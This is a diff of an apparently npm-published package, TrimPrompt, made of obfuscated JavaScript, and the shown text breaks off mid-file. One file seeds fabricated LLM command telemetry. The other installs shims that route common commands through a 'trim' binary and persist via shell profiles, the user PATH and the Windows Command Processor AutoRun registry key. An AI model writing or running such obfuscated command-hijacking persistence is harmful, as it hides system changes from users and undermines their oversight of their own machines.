+ 'use strict';function a0_0x639a(_0x146e2d,_0x48e41d){_0x146e2d=_0x146e2d-0xae;const _0x38417b=a0_0x3841();let _0x639a45=_0x38417b[_0x146e2d];return _0x639a45;}const a0_0x55a6fa=a0_0x639a;(function(_0x70870f,_0x382bb2){const _0x321e44=a0_0x639a,_0x5677fd=_0x70870f();while(!![]){try{const _0x12d467=-parseInt(_0x321e44(0xd4))/0x1+-parseInt(_0x321e44(0xbf))/0x2*(parseInt(_0x321e44(0xb8))/0x3)+parseInt(_0x321e44(0xc2))/0x4+-parseInt(_0x321e44(0xb7))/0x5*(parseInt(_0x321e44(0xb4))/0x6)+parseInt(_0x321e44(0xc7))/0x7*(parseInt(_0x321e44(0xaf))/0x8)+-parseInt(_0x321e44(0xbd))/0x9+parseInt(_0x321e44(0xc5))/0xa*(parseInt(_0x321e44(0xcd))/0xb);if(_0x12d467===_0x382bb2)break;else _0x5677fd['push'](_0x5677fd['shift']());}catch(_0x4a20aa){_0x5677fd['push'](_0x5677fd['shift']());}}}(a0_0x3841,0x90e88));function a0_0x3841(){const _0x1968d0=['22156563KzymUw','Step\x201/10\x20:\x20FROM\x20node:20\x0a','docker\x20build\x20.','defineProperty','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','log','claude-3-opus','195027JNRPqO','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','8896bwaoKd','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','Compilation\x20Output:\x0a','tracker','1272pdTHWg','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','__esModule','27380IcCmeR','2882643agrnhd','test_api.py\x20PASS\x0a','repeat','Test\x20suite\x20run\x20starting...\x0a','gemini-1-5-pro','5783310oyfLyI','./tracker','2bYFLII','Successfully\x20built\x20image.','added\x201420\x20packages\x20in\x2014s\x0a','3334852WHQycJ','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','logExecution','10MYztak','npm\x20run\x20build','4438bMtDCM','test_db.py\x20PASS\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','[INFO]\x20Building\x20modules...\x0a','gpt-4o','test_auth.py\x20PASS\x0a'];a0_0x3841=function(){return _0x1968d0;};return a0_0x3841();}Object[a0_0x55a6fa(0xd0)](exports,a0_0x55a6fa(0xb6),{'value':!![]});const tracker_1=require(a0_0x55a6fa(0xbe));console['log'](a0_0x55a6fa(0xb5)),process.env.TRIMPROMPT_MODEL=a0_0x55a6fa(0xd3),tracker_1[a0_0x55a6fa(0xb3)][a0_0x55a6fa(0xc4)](a0_0x55a6fa(0xc6),a0_0x55a6fa(0xb2)+a0_0x55a6fa(0xca)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x55a6fa(0xba)](0x190),a0_0x55a6fa(0xd1),0x0),process.env.TRIMPROMPT_MODEL=a0_0x55a6fa(0xcb),tracker_1[a0_0x55a6fa(0xb3)]['logExecution']('pytest\x20tests/app',a0_0x55a6fa(0xbb)+a0_0x55a6fa(0xcc)+a0_0x55a6fa(0xc8)+a0_0x55a6fa(0xb9)['repeat'](0x12c)+a0_0x55a6fa(0xb1),a0_0x55a6fa(0xc3),0x0),process.env.TRIMPROMPT_MODEL=a0_0x55a6fa(0xbc),tracker_1[a0_0x55a6fa(0xb3)]['logExecution'](a0_0x55a6fa(0xcf),a0_0x55a6fa(0xc9)+a0_0x55a6fa(0xce)+a0_0x55a6fa(0xb0)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x55a6fa(0xc1)['repeat'](0x3)+a0_0x55a6fa(0xc0),a0_0x55a6fa(0xae),0x0),console[a0_0x55a6fa(0xd2)]('Database\x20successfully\x20seeded!');
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5f12c6=a0_0x2009;(function(_0x25410f,_0x721d81){const _0x1ebea3=a0_0x2009,_0x131175=_0x25410f();while(!![]){try{const _0xebe3c4=parseInt(_0x1ebea3(0x1b3))/0x1+-parseInt(_0x1ebea3(0x1c6))/0x2+parseInt(_0x1ebea3(0x19d))/0x3*(parseInt(_0x1ebea3(0x198))/0x4)+-parseInt(_0x1ebea3(0x1b8))/0x5+parseInt(_0x1ebea3(0x196))/0x6+parseInt(_0x1ebea3(0x190))/0x7+parseInt(_0x1ebea3(0x18b))/0x8;if(_0xebe3c4===_0x721d81)break;else _0x131175['push'](_0x131175['shift']());}catch(_0x5aa6f5){_0x131175['push'](_0x131175['shift']());}}}(a0_0x45ea,0xde958));function a0_0x45ea(){const _0x4a945f=['execSync','Failed\x20to\x20install\x20shims:\x20','TrimPrompt\x20Shims\x20PATH','.ps1','push','read','writeFileSync','hasOwnProperty','\x22\x20set\x20\x22PATH=','__esModule','pwsh','-NoProfile','powershell\x20-NoProfile\x20-Command\x20\x22','\x20%*\x0a',';\x22\x20+\x20$env:PATH\x0a','.zshrc','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','.bash_profile','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','export\x20PATH=\x22','__importStar','dirname','existsSync','map','\x0a#\x20','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','replace','npm','&\x20trim\x20','pytest','-Command','pipe','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','default','1211144hjUucP','grep','\x20@args\x0a','tree','call','4260172BsCXvX','pnpm','getOwnPropertyDescriptor','.bashrc','chmodSync','\x0aexport\x20PATH=\x22','966702jIZeQy','child_process','756COUHjk','utf8','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x20&\x20','New-Item\x20-Path\x20\x27','345awOcWV','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','.profile','execFileSync','\x0a$env:PATH\x20=\x20\x22','npx','win32','length','includes','prototype','755','Remove-ItemProperty\x20-Path\x20\x27','join','__setModuleDefault','\x27,\x20\x27User\x27)','filter','git','pip','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','uninstallShims','#!/bin/sh\x0aexec\x20trim\x20','@echo\x20off\x0atrim\x20','1804865EdkdSp','ignore','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','create','.trimprompt','3300285CuBPAk','if\x20exist\x20\x22','mkdirSync','kubectl','homedir','shims','message','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x20\x22$@\x22\x0a','defineProperty','ruff','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','cargo','trim','2351890UKWXLC','cat','split','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','__createBinding','writable',':$PATH\x22\x0a','Failed\x20to\x20uninstall\x20shims:\x20','toLowerCase','\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','powershell.exe','docker','\x20commands.\x0a\x0a','glab','platform',':$PATH\x22','Set-ItemProperty\x20-Path\x20\x27','.cmd','readFileSync','unlinkSync','get'];a0_0x45ea=function(){return _0x4a945f;};return a0_0x45ea();}var __createBinding=this&&this[a0_0x5f12c6(0x1ca)]||(Object[a0_0x5f12c6(0x1b6)]?function(_0x3479a5,_0x161932,_0x58770a,_0x16c107){const _0x395c71=a0_0x5f12c6;if(_0x16c107===undefined)_0x16c107=_0x58770a;var _0x1f8f2b=Object[_0x395c71(0x192)](_0x161932,_0x58770a);(!_0x1f8f2b||(_0x395c71(0x168)in _0x1f8f2b?!_0x161932['__esModule']:_0x1f8f2b[_0x395c71(0x1cb)]||_0x1f8f2b['configurable']))&&(_0x1f8f2b={'enumerable':!![],'get':function(){return _0x161932[_0x58770a];}}),Object[_0x395c71(0x1c1)](_0x3479a5,_0x16c107,_0x1f8f2b);}:function(_0x13cb5d,_0x163db7,_0x1a9b9e,_0x5487cf){if(_0x5487cf===undefined)_0x5487cf=_0x1a9b9e;_0x13cb5d[_0x5487cf]=_0x163db7[_0x1a9b9e];}),__setModuleDefault=this&&this[a0_0x5f12c6(0x1aa)]||(Object[a0_0x5f12c6(0x1b6)]?function(_0x1a8ddb,_0x2b9d80){const _0x57ec0a=a0_0x5f12c6;Object[_0x57ec0a(0x1c1)](_0x1a8ddb,_0x57ec0a(0x18a),{'enumerable':!![],'value':_0x2b9d80});}:function(_0x9d3799,_0x462946){const _0x22f39f=a0_0x5f12c6;_0x9d3799[_0x22f39f(0x18a)]=_0x462946;}),__importStar=this&&this[a0_0x5f12c6(0x17d)]||(function(){var _0x173837=function(_0x38e665){return _0x173837=Object['getOwnPropertyNames']||function(_0x152943){const _0x34b271=a0_0x2009;var _0x1b78b1=[];for(var _0x305706 in _0x152943)if(Object[_0x34b271(0x1a6)][_0x34b271(0x170)][_0x34b271(0x18f)](_0x152943,_0x305706))_0x1b78b1[_0x1b78b1[_0x34b271(0x1a4)]]=_0x305706;return _0x1b78b1;},_0x173837(_0x38e665);};return function(_0x279856){const _0x500dd5=a0_0x2009;if(_0x279856&&_0x279856[_0x500dd5(0x172)])return _0x279856;var _0x2dc27b={};if(_0x279856!=null){for(var _0x3eadf7=_0x173837(_0x279856),_0x4a1307=0x0;_0x4a1307<_0x3eadf7[_0x500dd5(0x1a4)];_0x4a1307++)if(_0x3eadf7[_0x4a1307]!==_0x500dd5(0x18a))__createBinding(_0x2dc27b,_0x279856,_0x3eadf7[_0x4a1307]);}return __setModuleDefault(_0x2dc27b,_0x279856),_0x2dc27b;};}());Object[a0_0x5f12c6(0x1c1)](exports,a0_0x5f12c6(0x172),{'value':!![]}),exports['installShims']=installShims,exports[a0_0x5f12c6(0x1b0)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x5f12c6(0x18e),a0_0x5f12c6(0x1c7),a0_0x5f12c6(0x16e),a0_0x5f12c6(0x18c),'rg',a0_0x5f12c6(0x1c2),a0_0x5f12c6(0x1ad),'gh',a0_0x5f12c6(0x161),a0_0x5f12c6(0x1c4),a0_0x5f12c6(0x184),a0_0x5f12c6(0x191),a0_0x5f12c6(0x1a2),'yarn',a0_0x5f12c6(0x1bb),a0_0x5f12c6(0x15f),a0_0x5f12c6(0x186),a0_0x5f12c6(0x1ae),'pip3','go'],PROFILE_MARKER=a0_0x5f12c6(0x16b);function getExecSync(){const _0x405775=a0_0x5f12c6;return require(_0x405775(0x197))[_0x405775(0x169)];}function getExecFileSync(){const _0x28a8a6=a0_0x5f12c6;return require(_0x28a8a6(0x197))[_0x28a8a6(0x1a0)];}function ensureProfileContains(_0x2ff7ea,_0x33c1e6,_0x127ef6){const _0x43522b=a0_0x5f12c6;try{const _0x1b5ea5=path[_0x43522b(0x17e)](_0x2ff7ea);!fs[_0x43522b(0x17f)](_0x1b5ea5)&&fs[_0x43522b(0x1ba)](_0x1b5ea5,{'recursive':!![]});if(fs[_0x43522b(0x17f)](_0x2ff7ea)){const _0x2450f9=fs[_0x43522b(0x166)](_0x2ff7ea,_0x43522b(0x199));if(_0x2450f9[_0x43522b(0x1a5)](_0x33c1e6))return;fs['appendFileSync'](_0x2ff7ea,_0x127ef6,_0x43522b(0x199));}else fs[_0x43522b(0x16f)](_0x2ff7ea,_0x127ef6,'utf8');}catch{}}function removeProfileBlock(_0x4ce0d4,_0xcb5b23){const _0x543ca9=a0_0x5f12c6;try{if(!fs[_0x543ca9(0x17f)](_0x4ce0d4))return;const _0x2444b=fs[_0x543ca9(0x166)](_0x4ce0d4,'utf8');if(!_0x2444b[_0x543ca9(0x1a5)](_0xcb5b23))return;const _0xa7e710=_0x2444b[_0x543ca9(0x1c8)]('\x0a'),_0x1460d4=[];let _0x7a2116=![];for(let _0x56a17a=0x0;_0x56a17a<_0xa7e710[_0x543ca9(0x1a4)];_0x56a17a++){if(_0xa7e710[_0x56a17a][_0x543ca9(0x1a5)](_0xcb5b23)){_0x7a2116=!![];continue;}if(_0x7a2116){_0x7a2116=![];continue;}_0x1460d4[_0x543ca9(0x16d)](_0xa7e710[_0x56a17a]);}const _0x24b164=_0x1460d4[_0x543ca9(0x1a9)]('\x0a')[_0x543ca9(0x183)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x4ce0d4,_0x24b164,_0x543ca9(0x199));}catch{}}function collectPowerShellProfiles(){const _0x1e46c9=a0_0x5f12c6,_0x2a1a75=getExecSync(),_0x3101bf=[],_0x55fca6=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell','$PROFILE.CurrentUserAllHosts']];try{_0x2a1a75('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1e46c9(0x1b4)}),_0x55fca6['push']([_0x1e46c9(0x173),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x335fc6,_0x24b3b3]of _0x55fca6){try{const _0x48e063=_0x2a1a75(_0x335fc6+_0x1e46c9(0x15b)+_0x24b3b3+'\x22',{'encoding':_0x1e46c9(0x199)})[_0x1e46c9(0x1c5)]();_0x48e063&&!_0x3101bf['some'](_0xa43036=>_0xa43036['toLowerCase']()===_0x48e063['toLowerCase']())&&_0x3101bf['push'](_0x48e063);}catch{}}return _0x3101bf;}function a0_0x2009(_0x13f305,_0x34b8e4){_0x13f305=_0x13f305-0x159;const _0x45ea0e=a0_0x45ea();let _0x200929=_0x45ea0e[_0x13f305];return _0x200929;}function getBashProfilesWindows(){const _0x356bc2=a0_0x5f12c6,_0x297588=os['homedir']();return[_0x356bc2(0x193),'.bash_profile'][_0x356bc2(0x180)](_0x3affa6=>path[_0x356bc2(0x1a9)](_0x297588,_0x3affa6));}function getBroadcastCommand(){const _0x13f09e=a0_0x5f12c6;return _0x13f09e(0x182);}function installShims(){const _0x1d6695=a0_0x5f12c6,_0xd76142=path[_0x1d6695(0x1a9)](os['homedir'](),_0x1d6695(0x1b7),_0x1d6695(0x1bd));try{!fs[_0x1d6695(0x17f)](_0xd76142)&&fs[_0x1d6695(0x1ba)](_0xd76142,{'recursive':!![]});const _0x28df8c=os[_0x1d6695(0x162)]()===_0x1d6695(0x1a3);for(const _0x310d21 of SHIMMED_COMMANDS){if(_0x28df8c){const _0x2bcefb=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21+_0x1d6695(0x165));fs['writeFileSync'](_0x2bcefb,_0x1d6695(0x1b2)+_0x310d21+_0x1d6695(0x176),_0x1d6695(0x199));const _0x10d42a=path['join'](_0xd76142,_0x310d21+_0x1d6695(0x16c));fs[_0x1d6695(0x16f)](_0x10d42a,_0x1d6695(0x185)+_0x310d21+_0x1d6695(0x18d),_0x1d6695(0x199));const _0x3d0a27=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21);fs[_0x1d6695(0x16f)](_0x3d0a27,'#!/bin/sh\x0aexec\x20trim\x20'+_0x310d21+_0x1d6695(0x1c0),'utf8');}else{const _0x32a1ea=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21);fs[_0x1d6695(0x16f)](_0x32a1ea,_0x1d6695(0x1b1)+_0x310d21+_0x1d6695(0x1c0),_0x1d6695(0x199)),fs[_0x1d6695(0x194)](_0x32a1ea,_0x1d6695(0x1a7));}}let _0x153b4b=![],_0x57640f='';if(_0x28df8c)try{const _0x42348f=getExecSync(),_0xcb9994='\x0a#\x20'+PROFILE_MARKER+_0x1d6695(0x1a1)+_0xd76142+_0x1d6695(0x177),_0xb8ab93=collectPowerShellProfiles();for(const _0x14f78d of _0xb8ab93){ensureProfileContains(_0x14f78d,_0xd76142,_0xcb9994);}try{const _0x304307=getExecFileSync(),_0xe04389=_0x1d6695(0x1b9)+_0xd76142+_0x1d6695(0x171)+_0xd76142+';%PATH%\x22',_0x151be7='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x2e32b4='';try{const _0x36b4e3=_0x1d6695(0x1af)+_0x151be7+_0x1d6695(0x189);_0x2e32b4=_0x304307(_0x1d6695(0x15e),[_0x1d6695(0x174),_0x1d6695(0x187),_0x36b4e3],{'encoding':_0x1d6695(0x199),'stdio':[_0x1d6695(0x188),_0x1d6695(0x188),_0x1d6695(0x1b4)]})[_0x1d6695(0x1c5)]();}catch{}if(!_0x2e32b4[_0x1d6695(0x1a5)](_0xd76142)){const _0x161660=_0x2e32b4?_0x2e32b4+_0x1d6695(0x19b)+_0xe04389:_0xe04389,_0x5b983e=_0x1d6695(0x19c)+_0x151be7+_0x1d6695(0x179)+_0x151be7+_0x1d6695(0x15c)+_0x161660+'\x27';_0x304307(_0x1d6695(0x15e),['-NoProfile',_0x1d6695(0x187),_0x5b983e],{'stdio':'ignore'});}}catch{}try{const _0x1d4835=_0xd76142[_0x1d6695(0x183)](/\\/g,'/')[_0x1d6695(0x183)](/^([A-Za-z]):/,(_0x574334,_0xa00f5e)=>'/'+_0xa00f5e[_0x1d6695(0x15a)]()),_0x25ed22=_0x1d6695(0x181)+PROFILE_MARKER+_0x1d6695(0x195)+_0x1d4835+_0x1d6695(0x1cc),_0xde6f06=getBashProfilesWindows();let _0x9446e9=![];for(const _0x192be3 of _0xde6f06){fs[_0x1d6695(0x17f)](_0x192be3)&&(ensureProfileContains(_0x192be3,_0x1d4835,_0x25ed22),_0x9446e9=!![]);}!_0x9446e9&&ensureProfileContains(_0xde6f06[0x0],_0x1d4835,_0x25ed22);}catch{}const _0x156e31='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x42ce26=_0x42348f(_0x1d6695(0x175)+_0x156e31+'\x22',{'encoding':_0x1d6695(0x199),'stdio':[_0x1d6695(0x188),_0x1d6695(0x188),_0x1d6695(0x1b4)]})[_0x1d6695(0x1c5)]();if(!_0x42ce26[_0x1d6695(0x1a5)](_0xd76142)){const _0x347485=_0xd76142+';'+_0x42ce26,_0x1ec544=_0x347485['replace'](/'/g,'\x27\x27'),_0x3dedf6='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x1ec544+_0x1d6695(0x1ab);_0x42348f(_0x1d6695(0x175)+_0x3dedf6+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x1d6695(0x1b4)});}const _0x190a0c=path[_0x1d6695(0x1a9)](process.env.APPDATA||'','npm','trim.ps1');if(fs['existsSync'](_0x190a0c))try{fs[_0x1d6695(0x167)](_0x190a0c);}catch{}_0x153b4b=!![];}catch(_0x3784bf){_0x57640f='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0xd76142;}else try{const _0x44a014=_0x1d6695(0x17c)+_0xd76142+_0x1d6695(0x1cc),_0x346325=os[_0x1d6695(0x1bc)](),_0x456765=[_0x1d6695(0x193),'.zshrc',_0x1d6695(0x17a),_0x1d6695(0x19f)];let _0x5111cf=![];for(const _0x3706ac of _0x456765){const _0x3f7697=path['join'](_0x346325,_0x3706ac);fs[_0x1d6695(0x17f)](_0x3f7697)&&(ensureProfileContains(_0x3f7697,_0xd76142,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x44a014),_0x5111cf=!![]);}if(!_0x5111cf){const _0x50c779=path[_0x1d6695(0x1a9)](_0x346325,'.bashrc');ensureProfileContains(_0x50c779,_0xd76142,_0x1d6695(0x181)+PROFILE_MARKER+'\x0a'+_0x44a014);}_0x153b4b=!![];}catch(_0xc7555d){_0x57640f='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0xd76142+_0x1d6695(0x163);}const _0x5c0d2b=_0x1d6695(0x1c9)+SHIMMED_COMMANDS[_0x1d6695(0x1a4)]+_0x1d6695(0x160),_0x3f4740=_0x153b4b?_0x5c0d2b+_0x1d6695(0x19e):_0x5c0d2b+_0x1d6695(0x1b5)+_0x57640f;return{'success':!![],'pathDir':_0xd76142,'message':_0x3f4740};}catch(_0x385d28){return{'success':![],'pathDir':_0xd76142,'message':_0x1d6695(0x16a)+_0x385d28[_0x1d6695(0x1be)]};}}function uninstallShims(){const _0x2d30a2=a0_0x5f12c6,_0x5edb48=path[_0x2d30a2(0x1a9)](os[_0x2d30a2(0x1bc)](),_0x2d30a2(0x1b7),_0x2d30a2(0x1bd)),_0x375a76=os[_0x2d30a2(0x162)]()==='win32';try{if(_0x375a76){const _0x425fd9=getExecSync();try{const _0x1e92c1=getExecFileSync(),_0x1115b2=_0x2d30a2(0x19a),_0x5acf08='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1115b2+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x5e6737=_0x1e92c1('powershell.exe',[_0x2d30a2(0x174),'-Command',_0x5acf08],{'encoding':_0x2d30a2(0x199),'stdio':[_0x2d30a2(0x188),'pipe',_0x2d30a2(0x1b4)]})[_0x2d30a2(0x1c5)]();if(_0x5e6737[_0x2d30a2(0x1a5)](_0x5edb48)){const _0x17a156=_0x5e6737['split'](_0x2d30a2(0x19b))['filter'](_0x13c23a=>!_0x13c23a[_0x2d30a2(0x1a5)](_0x5edb48));if(_0x17a156['length']===0x0){const _0x390081=_0x2d30a2(0x1a8)+_0x1115b2+_0x2d30a2(0x15d);_0x1e92c1('powershell.exe',[_0x2d30a2(0x174),_0x2d30a2(0x187),_0x390081],{'stdio':_0x2d30a2(0x1b4)});}else{const _0x11cca7=_0x17a156['join'](_0x2d30a2(0x19b)),_0x371f3b=_0x2d30a2(0x164)+_0x1115b2+_0x2d30a2(0x15c)+_0x11cca7+'\x27';_0x1e92c1(_0x2d30a2(0x15e),[_0x2d30a2(0x174),_0x2d30a2(0x187),_0x371f3b],{'stdio':_0x2d30a2(0x1b4)});}}}catch{}try{const _0x276e92=collectPowerShellProfiles();for(const _0xcd08c of _0x276e92){removeProfileBlock(_0xcd08c,PROFILE_MARKER);}}catch{}try{for(const _0x27ed8c of getBashProfilesWindows()){removeProfileBlock(_0x27ed8c,PROFILE_MARKER);}}catch{}try{const _0x1cd97b=_0x2d30a2(0x1c3),_0xd71375=_0x425fd9('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1cd97b+'\x22',{'encoding':'utf8','stdio':[_0x2d30a2(0x188),_0x2d30a2(0x188),_0x2d30a2(0x1b4)]})[_0x2d30a2(0x1c5)]();if(_0xd71375[_0x2d30a2(0x1a5)](_0x5edb48)){const _0x230f13=_0xd71375[_0x2d30a2(0x1c8)](';')[_0x2d30a2(0x1ac)](_0x441925=>_0x441925['trim']()[_0x2d30a2(0x15a)]()!==_0x5edb48['toLowerCase']())[_0x2d30a2(0x1a9)](';'),_0x3bc643=_0x230f13['replace'](/'/g,'\x27\x27'),_0x2494e7=_0x2d30a2(0x1bf)+_0x3bc643+_0x2d30a2(0x1ab);_0x425fd9(_0x2d30a2(0x175)+_0x2494e7+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x2d30a2(0x1b4)});}}catch{}}else{const _0x6cb10c=os[_0x2d30a2(0x1bc)](),_0x4bad9e=[_0x2d30a2(0x193),_0x2d30a2(0x178),_0x2d30a2(0x17a),_0x2d30a2(0x19f)];for(const _0x5d98c3 of _0x4bad9e){removeProfileBlock(path[_0x2d30a2(0x1a9)](_0x6cb10c,_0x5d98c3),PROFILE_MARKER);}}if(fs[_0x2d30a2(0x17f)](_0x5edb48)){const _0x417009=fs['readdirSync'](_0x5edb48);for(const _0x348e5b of _0x417009){fs[_0x2d30a2(0x167)](path[_0x2d30a2(0x1a9)](_0x5edb48,_0x348e5b));}fs['rmdirSync'](_0x5edb48);}return{'success':!![],'message':_0x2d30a2(0x17b)};}catch(_0x218265){return{'success':![],'message':_0x2d30a2(0x159)+_0x218265[_0x2d30a2(0x1be)]};}}
1
+ 'use strict';const a0_0x270dd9=a0_0x4300;(function(_0x43e233,_0x18ce6f){const _0x271653=a0_0x4300,_0x146c01=_0x43e233();while(!![]){try{const _0x352181=parseInt(_0x271653(0x217))/0x1+-parseInt(_0x271653(0x232))/0x2*(-parseInt(_0x271653(0x202))/0x3)+parseInt(_0x271653(0x20d))/0x4*(-parseInt(_0x271653(0x233))/0x5)+parseInt(_0x271653(0x20f))/0x6+-parseInt(_0x271653(0x224))/0x7*(parseInt(_0x271653(0x253))/0x8)+parseInt(_0x271653(0x1f6))/0x9*(-parseInt(_0x271653(0x250))/0xa)+-parseInt(_0x271653(0x23b))/0xb*(-parseInt(_0x271653(0x209))/0xc);if(_0x352181===_0x18ce6f)break;else _0x146c01['push'](_0x146c01['shift']());}catch(_0x5af6a6){_0x146c01['push'](_0x146c01['shift']());}}}(a0_0x5859,0xd8cc4));var __createBinding=this&&this[a0_0x270dd9(0x221)]||(Object[a0_0x270dd9(0x246)]?function(_0x4bc981,_0x1bf74b,_0x4ff895,_0x4dc05d){const _0x48ad93=a0_0x270dd9;if(_0x4dc05d===undefined)_0x4dc05d=_0x4ff895;var _0x3005c0=Object[_0x48ad93(0x254)](_0x1bf74b,_0x4ff895);(!_0x3005c0||(_0x48ad93(0x227)in _0x3005c0?!_0x1bf74b[_0x48ad93(0x1fb)]:_0x3005c0[_0x48ad93(0x24d)]||_0x3005c0['configurable']))&&(_0x3005c0={'enumerable':!![],'get':function(){return _0x1bf74b[_0x4ff895];}}),Object[_0x48ad93(0x244)](_0x4bc981,_0x4dc05d,_0x3005c0);}:function(_0x555d0b,_0x179c0b,_0x29a9ea,_0x8f393c){if(_0x8f393c===undefined)_0x8f393c=_0x29a9ea;_0x555d0b[_0x8f393c]=_0x179c0b[_0x29a9ea];}),__setModuleDefault=this&&this[a0_0x270dd9(0x21c)]||(Object[a0_0x270dd9(0x246)]?function(_0xc241e0,_0x8d6e0a){const _0x42f570=a0_0x270dd9;Object[_0x42f570(0x244)](_0xc241e0,_0x42f570(0x1fd),{'enumerable':!![],'value':_0x8d6e0a});}:function(_0x3c3f82,_0x1d1088){_0x3c3f82['default']=_0x1d1088;}),__importStar=this&&this['__importStar']||(function(){var _0x3daa54=function(_0x1756eb){return _0x3daa54=Object['getOwnPropertyNames']||function(_0x3302fa){const _0x2ee588=a0_0x4300;var _0x5b3a5c=[];for(var _0x21495f in _0x3302fa)if(Object[_0x2ee588(0x247)][_0x2ee588(0x20a)][_0x2ee588(0x1ef)](_0x3302fa,_0x21495f))_0x5b3a5c[_0x5b3a5c[_0x2ee588(0x212)]]=_0x21495f;return _0x5b3a5c;},_0x3daa54(_0x1756eb);};return function(_0x250505){const _0x3aa256=a0_0x4300;if(_0x250505&&_0x250505[_0x3aa256(0x1fb)])return _0x250505;var _0x4b9a11={};if(_0x250505!=null){for(var _0x48e0fe=_0x3daa54(_0x250505),_0x59fe04=0x0;_0x59fe04<_0x48e0fe[_0x3aa256(0x212)];_0x59fe04++)if(_0x48e0fe[_0x59fe04]!==_0x3aa256(0x1fd))__createBinding(_0x4b9a11,_0x250505,_0x48e0fe[_0x59fe04]);}return __setModuleDefault(_0x4b9a11,_0x250505),_0x4b9a11;};}());Object['defineProperty'](exports,a0_0x270dd9(0x1fb),{'value':!![]}),exports[a0_0x270dd9(0x20e)]=installShims,exports[a0_0x270dd9(0x240)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x270dd9(0x208))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x270dd9(0x22f),a0_0x270dd9(0x1f0),a0_0x270dd9(0x213),a0_0x270dd9(0x229),'rg',a0_0x270dd9(0x267),a0_0x270dd9(0x222),'gh',a0_0x270dd9(0x234),'cargo',a0_0x270dd9(0x205),a0_0x270dd9(0x242),a0_0x270dd9(0x262),'yarn',a0_0x270dd9(0x225),a0_0x270dd9(0x226),a0_0x270dd9(0x20b),a0_0x270dd9(0x235),a0_0x270dd9(0x24a),'go'],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function a0_0x5859(){const 